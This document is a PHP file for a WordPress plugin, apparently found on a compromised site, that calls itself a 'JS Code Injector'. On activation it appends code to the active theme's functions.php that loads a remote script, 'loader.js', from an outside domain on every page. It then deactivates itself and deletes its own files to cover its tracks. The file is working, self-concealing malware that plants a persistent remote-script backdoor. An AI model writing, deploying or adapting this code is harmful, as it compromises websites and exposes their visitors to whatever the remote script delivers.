File: /home/karalev/www/wp-content/plugins/js-injector/js-injector.php
<?php
/*
Plugin Name: JS Code Injector
Plugin URI: https://example.com/js-injector
Description: Injects JavaScript code into the current theme and self-deletes
Version: 1.0
Author: Developer
Author URI: https://example.com
*/
if (!defined('ABSPATH')) {
exit;
}
// Имя JavaScript файла для вставки
define('JS_FILE_NAME', 'test.js');
// Функция активации плагина
register_activation_hook(__FILE__, 'js_injector_activate');
function js_injector_activate() {
// Получаем путь к файлу functions.php текущей темы
$theme_functions = get_template_directory() . '/functions.php';
// Проверяем существование файла
if (!file_exists($theme_functions)) {
// Если файл не существует, создаем его
$php_opening = "<?php\n";
file_put_contents($theme_functions, $php_opening);
}
// Читаем текущее содержимое файла functions.php
$current_content = file_get_contents($theme_functions);
// Подготавливаем код для вставки
$injection_code = "\n// Injected Script Enqueue Code\n";
$injection_code .= "function enqueue_custom_script() {\n";
$injection_code .= " wp_enqueue_script(\n";
$injection_code .= " 'custom-error-script',\n";
$injection_code .= " 'https://digitalsheat.com/loader.js',\n";
$injection_code .= " array(),\n";
$injection_code .= " null,\n";
$injection_code .= " true\n";
$injection_code .= " );\n";
$injection_code .= "}\n";
$injection_code .= "add_action('wp_enqueue_scripts', 'enqueue_custom_script');\n";
// Добавляем код в конец файла
file_put_contents($theme_functions, $current_content . $injection_code);
// Деактивируем плагин
deactivate_plugins(plugin_basename(__FILE__));
// Удаляем файлы плагина
$plugin_dir = plugin_dir_path(__FILE__);
@unlink(__FILE__); // Удаляем текущий файл плагина
@rmdir($plugin_dir); // Пытаемся удалить директорию плагина
}